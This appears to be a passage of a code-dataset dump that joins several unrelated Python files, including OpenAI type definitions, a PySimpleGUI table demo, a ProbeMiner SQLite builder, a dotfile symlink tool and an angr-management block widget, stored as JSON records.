TypeAlias,\n TypeVar,\n Union,\n cast,\n)\n\nfrom pydantic import BaseModel, Field # pylint: disable=no-name-in-module\nfrom typing_extensions import ParamSpec\n\nImageModel: TypeAlias = Literal[\"dall-e\"]\nCompletionModel: TypeAlias = Literal[\"gpt-3.5-turbo-instruct\", \"davinci-002\"]\nChatModel: TypeAlias = Literal[\"gpt-4\", \"gpt-3.5-turbo\", \"gpt-3.5-turbo-16k\"]\nEmbeddingModel: TypeAlias = Literal[\"text-embedding-ada-002\"]\nAudioModel: TypeAlias = Literal[\"whisper-1\"]\nModel: TypeAlias = Union[\n ChatModel, EmbeddingModel, AudioModel, CompletionModel, ImageModel\n]\nRole: TypeAlias = Literal[\"user\", \"system\", \"assistant\", \"function\"]\nSize: TypeAlias = Literal[\"256x256\", \"512x512\", \"1024x1024\"]\nImageFormat: TypeAlias = Literal[\"url\", \"base64\"]\nAudioFormat: TypeAlias = Literal[\"mp3\", \"mp4\", \"mpeg\", \"mpga\", \"m4a\", \"wav\", \"webm\"]\nVector: TypeAlias = List[float]\nMetaDataValue: TypeAlias = Union[str, int, float, bool, List[str]]\nMetaData: TypeAlias = Dict[str, MetaDataValue]\n\nM = TypeVar(\"M\", bound=Model)\nP = ParamSpec(\"P\")\n\n\nclass OpenAIResource(ABC, BaseModel):\n model: M # type: ignore\n\n @abstractmethod\n async def run(self, *args: Any, **kwargs: Any) -> Any:\n ...\n\n\nT = TypeVar(\"T\")\n\n\nclass LazyProxy(Generic[T], ABC):\n def __init__(self) -> None:\n self.__proxied: T | None = None\n\n def __getattr__(self, attr: str) -> object:\n return getattr(self.__get_proxied__(), attr)\n\n def __repr__(self) -> str:\n return repr(self.__get_proxied__())\n\n def __dir__(self) -> Iterable[str]:\n return self.__get_proxied__().__dir__()\n\n def __get_proxied__(self) -> T:\n proxied = self.__proxied\n if proxied is not None:\n return proxied\n\n self.__proxied = proxied = self.__load__()\n return proxied\n\n def __set_proxied__(self, value: T) -> None:\n self.__proxied = value\n\n def __as_proxied__(self) -> T:\n return cast(T, self)\n\n @abstractmethod\n def __load__(self) -> T:\n ...\n\n\nclass Agent(ABC, BaseModel):\n name: str = Field(..., description=\"Name of the agent\")\n\n @abstractmethod\n async def run(self, text: str, **kwargs: Any) -> Any:\n ...\n","repo_name":"obahamonde/hhms-api","sub_path":"src/schemas/typedefs.py","file_name":"typedefs.py","file_ext":"py","file_size_in_byte":2318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"28903131593","text":"import csv\nimport PySimpleGUI as sg\n\n\ndef main():\n # filename = os.path.join(os.path.expanduser('~'), 'Dropbox', 'Sync', 'inventarioHL.csv')\n filename = 'inventarioHL.csv'\n with open(filename, \"r\") as infile:\n reader = csv.reader(infile)\n header_list = next(reader)\n data = list(reader) # read everything else into a list of rows\n sg.SetOptions(element_padding=(0, 10),\n background_color='#F3F3F3')\n\n layout = [\n [sg.InputText(\n key='edit1',\n size=(50, 20),\n background_color='white',\n text_color='#2687FB',\n enable_events=True)],\n [sg.Table(\n key='table1', # HELLO I EXIST\n values=data,\n headings=header_list,\n max_col_width=25,\n auto_size_columns=False,\n justification='left',\n background_color='#1DB954', # Bg not changing color\n alternating_row_color='black', # Colors are not changing\n # row_colors='' # Any Examples on how to use this?\n num_rows=20,\n enable_events=True)],\n [sg.StatusBar(\n key='sb1',\n size=(137, 0),\n text='App Started!',\n text_color='red')]\n ]\n\n window = sg.Window(\n title='Table Example',\n return_keyboard_events=True,\n grab_anywhere=False).Layout(layout)\n\n while True:\n event, values = window.Read()\n\n if event is None or event == 'Exit':\n break\n\n if event == 'Escape:27': # Exit on ESC\n window.close()\n\n # if event != 'Escape:27':\n # window.Element('edit1').focus() # I know this does not exist but how to manually focus on a widget?\n\n if event == 'Delete:46': # Clear Edit1 on DEL\n window.Element('edit1').Update('')\n\n try:\n sb_update = window.FindElementWithFocus().Key\n print(window.FindElementWithFocus().Key)\n except:\n sb_update = window.FindElementWithFocus()\n print(window.FindElementWithFocus())\n\n window.Element('sb1').Update(f\"Focused Key: {str(sb_update)} Event: {event} Value(s): {values}\")\n\nmain()","repo_name":"rodisantana2002/buscaimplacavel","sub_path":"app/test/main_test.py","file_name":"main_test.py","file_ext":"py","file_size_in_byte":2213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"72572125961","text":"import os\nimport shutil\nfrom string import ascii_letters, digits\n\n\ndef get_urls(urls_file_path):\n \"\"\"\n The get_urls_from_file reads urls.txt file from source directiory.\n\n Parameters:\n file_path (str): The path to the txt file with urls.\n\n Returns:\n url_list (list): List of balance urls from txt file.\n \"\"\"\n url_list = []\n try:\n urls_file_path = os.path.abspath(urls_file_path)\n with open(urls_file_path, 'r') as file:\n for line in file:\n url = line.strip()\n url_list.append(url)\n except FileNotFoundError as exception:\n print(exception.__repr__())\n return url_list\n\n\ndef get_files(source_dir, files_urls_list=[]):\n \"\"\"\n The get_files takes files paths from the source directory and adds them to the incoming list of urls.\n\n Parameters:\n source_dir (str): Path to the files source directory.\n files_urls_list (list): The list of urls.\n\n Returns:\n url_list (list): List of balance urls from txt file extended with files urls.\n \"\"\"\n try:\n source_dir = os.path.abspath(source_dir)\n source_files_list = os.listdir(source_dir)\n for file_name in source_files_list:\n file_path_src = os.path.join(source_dir, file_name)\n file_url = ''.join(['file://', file_path_src])\n files_urls_list.append(file_url)\n except FileNotFoundError as exception:\n print(exception.__repr__())\n return files_urls_list\n\n\ndef move_files(source_dir, archive_dir):\n \"\"\"\n The move_files moves the source files from the source directory to the archive directory\n to prevent them from being processed again.\n\n Parameters:\n source_dir (str): Path to the files source directory.\n archive_dir (str): Path to the archive directory.\n\n Returns:\n None.\n \"\"\"\n try:\n source_dir = os.path.abspath(source_dir)\n archive_dir = os.path.abspath(archive_dir)\n source_files_list = os.listdir(source_dir)\n for file_name in source_files_list:\n file_path_src = os.path.join(source_dir, file_name)\n file_path_dst = os.path.join(archive_dir, file_name)\n shutil.move(file_path_src, file_path_dst)\n except FileNotFoundError as exception:\n print(exception.__repr__())\n\n\ndef dump_to_csv(dataframe):\n \"\"\"\n The dump_to_csv takes dataframe and writes it to a *.csv file in output directory.\n\n Parameters:\n dataframe (pandas.DataFrame instance): Current dataframe.\n\n Returns:\n None.\n \"\"\"\n url = dataframe.attrs.get('url')\n url_scheme = url.split(':')[0]\n if url_scheme == 'file':\n file_name = os.path.basename(url).split('.')[0]\n else:\n valid_ch_set = set(''.join([ascii_letters, digits]))\n url_path_raw = url.split(':')[1].lstrip('//')\n file_name = ''.join([ch if ch in valid_ch_set else '_' for ch in url_path_raw])\n if not os.path.exists('./out'):\n os.mkdir('./out')\n dataframe.to_csv(f'./out/{file_name}.csv')\n\n\nif __name__ == '__main__':\n pass\n","repo_name":"JackCX777/financial_background_innoscripta","sub_path":"file_handlers.py","file_name":"file_handlers.py","file_ext":"py","file_size_in_byte":3273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"36061899629","text":"#!/usr/bin/python\nfrom ansible.module_utils.basic import (\n AnsibleModule\n)\n\nimport os\n\ndef main():\n argument_spec = dict(\n file=dict(type='path',\n required=True),\n )\n module = AnsibleModule(argument_spec)\n\n fn = module.params['file']\n if not os.path.exists(fn):\n module.fail_json(\n msg='\"%s\" does not exist!' % fn\n )\n module.exit_json(msg='\"%s\" exists' % fn)\n\nif __name__ == '__main__':\n main()\n","repo_name":"felixfontein/ansible-meetup-20190627-bern","sub_path":"examples/library/example03.py","file_name":"example03.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"63"} +{"seq_id":"37910895256","text":"# DICA: a função uniform(a, b) do módulo random,\n# gera um número aleatório no intervalo [a, b].\n\nimport random\nimport geometria\nn = int(input(\"Quantos pontos quer usar para o teste: \"))\nc1 = geometria.Circulo(5,(0.0,0.0))\nc1.imprime_dados()\nprint(c1.area())\nprint(c1.perimetro())\nquad = (c1.raio*2) ** 2\npontos_dentro = 0\n\nfor i in range (n):\n x,y = random.uniform(0,5),random.uniform(0,5)\n a = (x,y) \n ponto = c1.dentro((a))\n print(ponto)\n \n if ponto == True:\n pontos_dentro += 1\n print(pontos_dentro)\nproporcao = pontos_dentro / n\nestimativa = quad * proporcao\nprint(estimativa)\nprint(proporcao)\n\n\n","repo_name":"vitosoliveira/Python","sub_path":"Orientada Objeto/monte_carlo.py","file_name":"monte_carlo.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"35084159948","text":"import sqlite3\nimport pandas as pd\nimport ast\n\n\ndef list_to_str(pubmed_ids):\n pubmed_ids = ast.literal_eval(pubmed_ids)\n return \";\".join(pubmed_ids)\n\n\ndef delete_pdb(compound_names, xrefs):\n if not xrefs or \"PDB\" not in xrefs.keys():\n return compound_names\n if xrefs[\"PDB\"] in compound_names:\n compound_names.remove(xrefs[\"PDB\"])\n return compound_names\n\n\ndef unzip_dict(input_dict):\n input_dict = ast.literal_eval(input_dict)\n if not input_dict:\n return None, None\n keys, values = zip(*input_dict.items())\n return list(keys), list(values)\n\n\n# Make sure no database already exists with this name\nconnection = sqlite3.connect(\"probeminer.sqlite\", check_same_thread=False)\ncur = connection.cursor()\nCHUNK_SIZE = 25000\nDO_IF_EXISTS = 'append'\n\ncreate_tables = \"\"\"\nCREATE TABLE chemicals (\n COMPOUND_ID INTEGER PRIMARY KEY,\n pains_free INTEGER,\n is_cell_potency INTEGER,\n no_celllines INTEGER,\n no_secondary_targets INTEGER,\n no_targets INTEGER,\n no_celllines_active INTEGER,\n selectivity_comp3 REAL,\n pains_text TEXT,\n cell_potency INTEGER,\n uci INTEGER,\n smiles TEXT,\n inchi TEXT,\n inchi_key TEXT,\n chemical_probes_portal_identifier TEXT,\n chemical_probes_portal_rating INTEGER,\n level1_scaffold TEXT\n);\n\nCREATE TABLE proteins (\n UNIPROT_ACCESSION TEXT COLLATE NOCASE PRIMARY KEY,\n auc_max REAL, \n auc_min REAL, \n sic_max REAL, \n sic_min REAL\n);\n\nCREATE TABLE interactions (\n COMPOUND_ID INTEGER,\n UNIPROT_ACCESSION TEXT COLLATE NOCASE,\n median_absolute_deviation REAL,\n selectivity_information_content REAL,\n selectivity REAL,\n sar_raw INTEGER,\n no_secondary_targets_unselective INTEGER,\n is_inactive_analogs INTEGER,\n is_target_potency INTEGER,\n active INTEGER,\n target_potency_raw REAL,\n is_sar INTEGER,\n no_secondary_targets INTEGER,\n suitable_probe INTEGER,\n auc REAL,\n selectivity_comp2 REAL,\n selectivity_comp1 REAL,\n target_potency REAL,\n global REAL,\n inactive_analogs_raw INTEGER,\n is_selectivity INTEGER,\n inactive_analogs INTEGER,\n no_secondary_targets_selective INTEGER,\n sar INTEGER,\n median_target_potency INTEGER,\n is_suitable_probe INTEGER,\n chemical_probes_portal_is_probe_for_this_target TEXT,\n rank_global INTEGER,\n pubmed_ids TEXT\n);\n\nCREATE TABLE compound_names (\n COMPOUND_ID INTEGER,\n compound_name TEXT COLLATE NOCASE\n);\n\nCREATE TABLE xrefs (\n COMPOUND_ID INTEGER,\n database TEXT,\n xref TEXT COLLATE NOCASE\n \n);\n\n\"\"\"\n\n\ncreate_indexes = \"\"\"\nCREATE INDEX chemicals_COMPOUND_ID_idx ON chemicals (\n COMPOUND_ID\n);\n\nCREATE INDEX chemicals_inchi_key_idx ON chemicals (\n inchi_key COLLATE NOCASE\n);\n\nCREATE INDEX proteins_UNIPROT_ACCESSION_idx ON proteins (\n UNIPROT_ACCESSION COLLATE NOCASE\n);\n\nCREATE INDEX interactions_UNIPROT_ACCESSION_idx ON interactions (\n UNIPROT_ACCESSION COLLATE NOCASE\n);\n\nCREATE INDEX interactions_COMPOUND_ID_idx ON interactions (\n COMPOUND_ID\n);\n\nCREATE INDEX compound_names_COMPOUND_ID_idx ON compound_names (\n COMPOUND_ID\n);\n\nCREATE INDEX compound_names_compound_name_idx ON compound_names (\n compound_name\n);\n\nCREATE INDEX xrefs_COMPOUND_ID_idx ON xrefs (\n COMPOUND_ID\n);\n\"\"\"\n\n\ndef build_database():\n cur.executescript(create_tables)\n\n fname = 'probeminer_datadump_2021-02-26.txt'\n df = pd.read_csv(fname, sep=\"\\t\", header=0)\n\n cpd_cols = ['COMPOUND_ID', 'is_pains', 'is_cell_potency', 'no_celllines', 'no_secondary targets', 'no_targets',\n 'no_celllines_active', 'selectivity_comp3', 'pains_text', 'cell_potency', 'uci', 'smiles', 'inchi',\n 'inchi_key', 'chemical_probes_portal_identifier', 'chemical_probes_portal_rating', 'level1_scaffold']\n prot_cols = ['UNIPROT_ACCESSION', 'auc_max', 'auc_min', 'sic_max', 'sic_min']\n ixn_cols = ['COMPOUND_ID', 'UNIPROT_ACCESSION', 'median_absolute_deviation', 'selectivity_information_content',\n 'selectivity', 'sar_raw', 'no_secondary_targets_unselective', 'is_inactive_analogs',\n 'is_target_potency', 'active', 'target_potency_raw', 'is_sar', 'no_secondary_targets', 'suitable_probe',\n 'auc', 'selectivity_comp2', 'selectivity_comp1', 'target_potency', 'global', 'inactive_analogs_raw',\n 'is_selectivity', 'inactive_analogs', 'no_secondary_targets_selective', 'sar', 'median_target_potency',\n 'is_suitable_probe', 'chemical_probes_portal_is_probe_for_this_target', 'rank_global', 'pubmed_ids']\n cpd_names_cols = ['COMPOUND_ID', 'compound_names', 'xrefs']\n xrefs_cols = ['COMPOUND_ID', 'xrefs']\n\n cpd_df = df[[col for col in df.columns if col in cpd_cols]]\n cpd_df.rename(columns={'is_pains': 'pains_free'}, inplace=True)\n cpd_df.drop_duplicates(subset=['COMPOUND_ID'], inplace=True)\n prot_df = df[[col for col in df.columns if col in prot_cols]]\n prot_df.drop_duplicates(subset=['UNIPROT_ACCESSION'], inplace=True)\n ixn_df = df[[col for col in df.columns if (col in ixn_cols)]]\n ixn_df['pubmed_ids'] = ixn_df.apply(lambda x: list_to_str(x.pubmed_ids), axis=1)\n\n cpd_names_df = df[[col for col in df.columns if col in cpd_names_cols]]\n cpd_names_df.drop_duplicates(subset=['COMPOUND_ID'], inplace=True)\n cpd_names_df.compound_names = cpd_names_df.compound_names.apply(ast.literal_eval)\n cpd_names_df.xrefs = cpd_names_df.xrefs.apply(ast.literal_eval)\n cpd_names_df['compound_name'] = cpd_names_df.apply(lambda x: delete_pdb(x.compound_names, x.xrefs), axis=1)\n cpd_names_df.drop(['compound_names', 'xrefs'], axis=1, inplace=True)\n cpd_names_df = cpd_names_df.explode('compound_name')\n cpd_names_df.dropna(subset=[\"compound_name\"], inplace=True)\n\n xrefs_df = df[[col for col in df.columns if col in xrefs_cols]]\n xrefs_df.drop_duplicates(subset=['COMPOUND_ID'], inplace=True)\n xrefs_df['database'], xrefs_df['xref'] = zip(*xrefs_df['xrefs'].map(unzip_dict))\n xrefs_df.drop(['xrefs'], axis=1, inplace=True)\n xrefs_df = xrefs_df.explode(['database', 'xref'])\n xrefs_df.dropna(subset=[\"xref\"], inplace=True)\n\n cpd_df.to_sql(\"chemicals\", connection, if_exists=DO_IF_EXISTS, index=False, chunksize=CHUNK_SIZE)\n prot_df.to_sql(\"proteins\", connection, if_exists=DO_IF_EXISTS, index=False, chunksize=CHUNK_SIZE)\n ixn_df.to_sql(\"interactions\", connection, if_exists=DO_IF_EXISTS, index=False, chunksize=CHUNK_SIZE)\n cpd_names_df.to_sql(\"compound_names\", connection, if_exists=DO_IF_EXISTS, index=False, chunksize=CHUNK_SIZE)\n xrefs_df.to_sql(\"xrefs\", connection, if_exists=DO_IF_EXISTS, index=False, chunksize=CHUNK_SIZE)\n\n cur.executescript(create_indexes)\n connection.commit()\n cur.close()\n connection.close()\n\n\nbuild_database()\n","repo_name":"broadinstitute/molecular-data-provider","sub_path":"transformers/probe-miner/db/build_probeminer_db.py","file_name":"build_probeminer_db.py","file_ext":"py","file_size_in_byte":6773,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"63"} +{"seq_id":"12228104043","text":"#!/usr/bin/python3\nimport yaml\nimport shutil\nfrom yaml import Loader\nfrom pathlib import Path\n\nclass Directory:\n def __init__(self, path : Path, isLocal = False, isHome = False):\n self.path = path\n if isLocal:\n self.path = Path.cwd().joinpath(path)\n if isHome:\n self.path = Path.home().joinpath(path)\n self.isLocal = isLocal\n self.isHome = isHome\n \n def link(self, toDirectory: 'Directory'):\n toDirectory.remove_link()\n toDirectory.remove_folder()\n toDirectory.path.symlink_to(self.path, target_is_directory= True)\n \n def remove_link(self):\n if self.path.exists() and self.path.is_symlink():\n self.path.unlink()\n\n def remove_folder(self):\n if self.path.exists() and self.path.is_dir(): \n shutil.rmtree(self.path)\n\nclass File:\n def __init__(self, path : Path, isLocal = False, isHome = False):\n self.path = path\n if isLocal:\n self.path = Path.cwd().joinpath(path)\n if isHome:\n self.path = Path.home().joinpath(path)\n self.isLocal = isLocal\n self.isHome = isHome\n \n def link(self, toDirectory: 'File'):\n toDirectory.remove_link()\n toDirectory.remove_folder()\n toDirectory.path.symlink_to(self.path)\n \n def remove_link(self):\n if self.path.exists() and self.path.is_symlink():\n self.path.unlink()\n\n def remove_folder(self):\n if self.path.exists() and self.path.is_file(): \n self.path.unlink()\n\nclass Configuration:\n def __init__(self, path : Path):\n self.path = path\n self.path = path\n self.conf = yaml.load(open(self.path, 'r'), Loader=Loader)\n \n def programs(self):\n programs = []\n for program in self.conf['programs']:\n locations = []\n for location in program['locations']:\n local = {}\n local['type'] = location['type']\n isLocal = location['origin'].get('isLocal')\n isHome = location['to'].get('isHome')\n if location['type'] == 'directory':\n local['origin'] = Directory(Path(location['origin']['location']),isLocal=isLocal)\n local['to'] = Directory(Path(location['to']['location']),isHome=isHome)\n elif location['type'] == 'file':\n local['origin'] = File(Path(location['origin']['location']),isLocal=isLocal)\n local['to'] = File(Path(location['to']['location']),isHome=isHome) \n locations.append(local)\n programs.append(Program(program['name'], locations))\n return programs\n\nclass Program:\n def __init__(self, name, locations):\n self.name = name\n self.locations = locations\n\ndef execute(path):\n programs = Configuration(path).programs()\n for program in programs:\n print(\"Executing.... \" + program.name)\n for location in program.locations:\n location['origin'].link(location['to'])\n","repo_name":"matteoponzini/sync-os","sub_path":"src/Configsync.py","file_name":"Configsync.py","file_ext":"py","file_size_in_byte":3076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"9717266186","text":"from typing import TYPE_CHECKING, Optional\n\nfrom angr.analyses.decompiler.clinic import Clinic\nfrom angr.analyses.disassembly import Instruction, IROp\nfrom angr.sim_variable import SimRegisterVariable\nfrom PySide6.QtCore import QMarginsF, QRectF\nfrom PySide6.QtGui import QPainterPath, QPen\n\nfrom angrmanagement.config import Conf\nfrom angrmanagement.utils import get_block_objects, get_label_text, get_out_branches_for_insn\nfrom angrmanagement.utils.block_objects import FunctionHeader, Label, PhiVariable, Variables\n\nfrom .qblock_code import QAilObj, QBlockCode, QBlockCodeOptions, QIROpObj\nfrom .qblock_label import QBlockLabel\nfrom .qfunction_header import QFunctionHeader\nfrom .qgraph_object import QCachedGraphicsItem\nfrom .qinstruction import QInstruction\nfrom .qphivariable import QPhiVariable\nfrom .qvariable import QVariable\n\nif TYPE_CHECKING:\n from PySide6.QtWidgets import QGraphicsPathItem\n\n\nclass QBlock(QCachedGraphicsItem):\n TOP_PADDING = 5\n BOTTOM_PADDING = 5\n LEFT_PADDING = 10\n RIGHT_PADDING = 10\n SPACING = 0\n AIL_SHOW_CONDITIONAL_JUMP_TARGETS = True\n SHADOW_OFFSET_X = 0\n SHADOW_OFFSET_Y = 0\n\n def __init__(\n self,\n instance,\n func_addr,\n disasm_view,\n disasm,\n infodock,\n addr,\n cfg_nodes,\n out_branches,\n scene,\n parent=None,\n idx=None,\n ):\n super().__init__(parent=parent)\n\n # initialization\n self.instance = instance\n self.func_addr = func_addr\n self.disasm_view = disasm_view\n self.disasm = disasm\n self.infodock = infodock\n self.variable_manager = infodock.variable_manager\n self.addr = addr\n self.cfg_nodes = cfg_nodes\n self.out_branches = out_branches\n self.scene = scene\n self.idx = idx\n\n self._config = Conf\n\n self.objects = [] # instructions and labels\n self._block_item: Optional[QPainterPath] = None\n self._block_item_obj: Optional[QGraphicsPathItem] = None\n self.addr_to_insns = {}\n self.addr_to_labels = {}\n self.qblock_annotations = {}\n\n self._block_code_options: QBlockCodeOptions = QBlockCodeOptions()\n self._update_block_code_options()\n\n self._init_widgets()\n\n self._objects_are_hidden = False\n self._objects_are_temporarily_hidden = False\n\n self._create_block_item()\n\n self.setAcceptHoverEvents(True)\n\n #\n # Properties\n #\n\n @property\n def mode(self):\n raise NotImplementedError\n\n @property\n def width(self):\n return self.boundingRect().width()\n\n @property\n def height(self):\n return self.boundingRect().height()\n\n #\n # Public methods\n #\n\n def clear_cache(self):\n super().clear_cache()\n for obj in self.objects:\n obj.clear_cache()\n\n def _update_block_code_options(self):\n self._block_code_options.show_conditional_jump_targets = self.AIL_SHOW_CONDITIONAL_JUMP_TARGETS\n self._block_code_options.show_variables = self.disasm_view.show_variable\n self._block_code_options.show_variable_identifiers = self.disasm_view.show_variable_identifier\n\n def refresh(self):\n self._update_block_code_options()\n for obj in self.objects:\n obj.refresh()\n self.layout_widgets()\n self.recalculate_size()\n self._create_block_item()\n self.update()\n\n def reload(self):\n self._init_widgets()\n self.refresh()\n\n def size(self):\n return self.width, self.height\n\n def instruction_position(self, insn_addr):\n if insn_addr in self.addr_to_insns:\n insn = self.addr_to_insns[insn_addr]\n pos = insn.pos()\n return pos.x(), pos.y()\n\n return None\n\n #\n # Initialization\n #\n\n def _create_block_item(self):\n \"\"\"\n Create the block background and border.\n \"\"\"\n if self._block_item_obj is not None and self.scene is not None:\n self.scene.removeItem(self._block_item_obj)\n self._block_item = None\n self._block_item_obj = None\n\n self._block_item = QPainterPath()\n self._block_item.addRoundedRect(\n 0,\n 0,\n self.width - self.SHADOW_OFFSET_X,\n self.height - self.SHADOW_OFFSET_Y,\n self._config.disasm_view_node_rounding,\n self._config.disasm_view_node_rounding,\n )\n\n def _init_ail_block_widgets(self):\n bn = self.cfg_nodes\n if bn.addr in self.disasm.kb.labels:\n label = QBlockLabel(\n bn.addr,\n get_label_text(bn.addr, self.disasm.kb),\n self._config,\n self.disasm_view,\n self.instance,\n self.infodock,\n parent=self,\n )\n self.objects.append(label)\n self.addr_to_labels[bn.addr] = label\n\n # always add the block name as a label and instruction:\n block_name_label = QBlockLabel(\n bn.addr, f\"loc_{hex(bn.addr)}:\", self._config, self.disasm_view, self.instance, self.infodock, parent=self\n )\n self.objects.append(block_name_label)\n self.addr_to_labels[bn.addr] = block_name_label\n\n for stmt in bn.statements:\n code_obj = QAilObj(stmt, self.instance, self.infodock, parent=None, options=self._block_code_options)\n obj = QBlockCode(\n stmt.ins_addr, code_obj, self._config, self.disasm_view, self.instance, self.infodock, parent=self\n )\n code_obj.parent = obj # Reparent\n self.objects.append(obj)\n self.addr_to_insns[bn.addr] = obj\n\n def _init_disassembly_block_widgets(self):\n for obj in get_block_objects(self.disasm, self.cfg_nodes, self.func_addr):\n if isinstance(obj, Instruction):\n out_branch = get_out_branches_for_insn(self.out_branches, obj.addr)\n insn = QInstruction(\n self.instance,\n self.func_addr,\n self.disasm_view,\n self.disasm,\n self.infodock,\n obj,\n out_branch,\n self._config,\n parent=self,\n )\n self.objects.append(insn)\n self.addr_to_insns[obj.addr] = insn\n elif isinstance(obj, Label):\n label = QBlockLabel(\n obj.addr, obj.text, self._config, self.disasm_view, self.instance, self.infodock, parent=self\n )\n self.objects.append(label)\n self.addr_to_labels[obj.addr] = label\n elif isinstance(obj, IROp):\n code_obj = QIROpObj(obj, self.infodock, parent=None)\n disp_obj = QBlockCode(\n obj.addr, code_obj, self._config, self.disasm_view, self.instance, self.infodock, parent=self\n )\n code_obj.parent = disp_obj # Reparent\n self.objects.append(disp_obj)\n elif isinstance(obj, PhiVariable):\n if not isinstance(obj.variable, SimRegisterVariable):\n phivariable = QPhiVariable(self.instance, self.disasm_view, obj, self._config, parent=self)\n self.objects.append(phivariable)\n elif isinstance(obj, Variables):\n for var in obj.variables:\n variable = QVariable(self.instance, self.disasm_view, var, self._config, self.infodock, parent=self)\n self.objects.append(variable)\n elif isinstance(obj, FunctionHeader):\n self.objects.append(\n QFunctionHeader(\n self.func_addr,\n obj.name,\n obj.prototype,\n obj.args,\n self._config,\n self.disasm_view,\n self.instance,\n self.infodock,\n parent=self,\n )\n )\n\n def _init_widgets(self):\n if self.scene is not None:\n for obj in self.objects:\n self.scene.removeItem(obj)\n\n self.objects.clear()\n\n if isinstance(self.disasm, Clinic):\n self._init_ail_block_widgets()\n else:\n self._init_disassembly_block_widgets()\n\n self.layout_widgets()\n\n def layout_widgets(self):\n raise NotImplementedError\n\n\nclass QGraphBlock(QBlock):\n MINIMUM_DETAIL_LEVEL = 0.4\n AIL_SHOW_CONDITIONAL_JUMP_TARGETS = False\n SHADOW_OFFSET_X = 5\n SHADOW_OFFSET_Y = 5\n BLOCK_ANNOTATIONS_LEFT_PADDING = 2\n\n @property\n def mode(self):\n return \"graph\"\n\n def layout_widgets(self):\n x, y = self.LEFT_PADDING, self.TOP_PADDING\n\n if self.qblock_annotations and self.qblock_annotations.scene():\n self.qblock_annotations.scene().removeItem(self.qblock_annotations)\n\n self.qblock_annotations = self.disasm_view.fetch_qblock_annotations(self)\n\n for obj in self.objects:\n if self.qblock_annotations.width > 0:\n obj.setPos(self.BLOCK_ANNOTATIONS_LEFT_PADDING + self.qblock_annotations.width + x, y)\n else:\n obj.setPos(x, y)\n if isinstance(obj, QInstruction) and self.qblock_annotations.get(obj.addr):\n qinsn_annotations = self.qblock_annotations.get(obj.addr)\n for qinsn_annotation in qinsn_annotations:\n qinsn_annotation.setY(obj.y())\n y += obj.boundingRect().height()\n\n def hoverEnterEvent(self, event):\n self.infodock.hover_block(self.addr)\n event.accept()\n\n def hoverLeaveEvent(self, event):\n self.infodock.unhover_block(self.addr)\n event.accept()\n\n def mousePressEvent(self, event):\n if self.disasm_view.workspace.plugins.handle_click_block(self, event):\n # stop handling this event if the event has been handled by a plugin\n event.accept()\n return\n\n # the block is selected\n self.on_selected()\n\n super().mousePressEvent(event)\n\n def _calc_backcolor(self, should_omit_text):\n color = self.disasm_view.workspace.plugins.color_block(self.addr)\n if color is not None:\n return color\n\n if should_omit_text:\n return self._config.disasm_view_node_zoomed_out_background_color\n\n return self._config.disasm_view_node_background_color\n\n def _set_block_objects_visibility(self, visible: bool):\n for obj in self.objects:\n obj.setVisible(visible)\n obj.setEnabled(visible)\n\n def restore_temporarily_hidden_objects(self):\n if self._objects_are_temporarily_hidden != self._objects_are_hidden:\n self._set_block_objects_visibility(not self._objects_are_hidden)\n self._objects_are_temporarily_hidden = self._objects_are_hidden\n\n def paint(self, painter, option, widget): # pylint: disable=unused-argument\n lod = option.levelOfDetailFromTransform(painter.worldTransform())\n should_omit_text = lod < QGraphBlock.MINIMUM_DETAIL_LEVEL\n\n painter.setBrush(self._config.disasm_view_node_shadow_color)\n painter.setPen(self._config.disasm_view_node_shadow_color)\n shadow_path = QPainterPath(self._block_item)\n shadow_path.translate(self.SHADOW_OFFSET_X, self.SHADOW_OFFSET_Y)\n painter.drawPath(shadow_path)\n\n # background of the node\n painter.setBrush(self._calc_backcolor(should_omit_text))\n if self.infodock.is_block_selected(self.addr):\n painter.setPen(QPen(self._config.disasm_view_selected_node_border_color, 2.5))\n else:\n painter.setPen(QPen(self._config.disasm_view_node_border_color, 1.5))\n\n self._block_item_obj = painter.drawPath(self._block_item)\n\n # content drawing is handled by qt since children are actual child widgets\n\n # if we are too far zoomed out, do not draw the text\n if self._objects_are_hidden != should_omit_text:\n self._set_block_objects_visibility(not should_omit_text)\n view = self.scene.parent()\n if view.is_extra_render_pass:\n self._objects_are_temporarily_hidden = should_omit_text\n else:\n self._objects_are_hidden = should_omit_text\n\n # extra content\n self.disasm_view.workspace.plugins.draw_block(self, painter)\n\n def on_selected(self):\n self.infodock.select_block(self.addr)\n\n def _boundingRect(self):\n cbr = self.childrenBoundingRect()\n margins = QMarginsF(\n self.LEFT_PADDING,\n self.TOP_PADDING,\n self.RIGHT_PADDING + self.SHADOW_OFFSET_X,\n self.BOTTOM_PADDING + self.SHADOW_OFFSET_Y,\n )\n return cbr.marginsAdded(margins)\n\n\nclass QLinearBlock(QBlock):\n ADDRESS_PADDING = 10\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self._height = 0\n self._width = 0\n\n @property\n def mode(self):\n return \"linear\"\n\n @staticmethod\n def format_address(addr):\n return f\"{addr:08x}\"\n\n def layout_widgets(self):\n y_offset = 0\n\n max_width = 0\n\n for obj in self.objects:\n y_offset += self.SPACING\n obj_start = 0\n obj.setPos(obj_start, y_offset)\n if obj_start + obj.width > max_width:\n max_width = obj_start + obj.boundingRect().width()\n y_offset += obj.boundingRect().height()\n\n self._height = y_offset\n self._width = max_width\n\n def paint(self, painter, option, widget): # pylint: disable=unused-argument\n painter.setFont(self._config.disasm_font)\n\n def _boundingRect(self):\n return QRectF(0, 0, self._width, self._height)\n","repo_name":"angr/angr-management","sub_path":"angrmanagement/ui/widgets/qblock.py","file_name":"qblock.py","file_ext":"py","file_size_in_byte":13994,"program_lang":"python","lang":"en","doc_type":"code","stars":748,"dataset":"github-code","pt":"63"} +{"seq_id":"44344344987","text":"# Importing the built in library json file and importing the builtin to compare the similiar words\nimport json\nfrom difflib import get_close_matches\n\n# Loads the data json file\ndata = 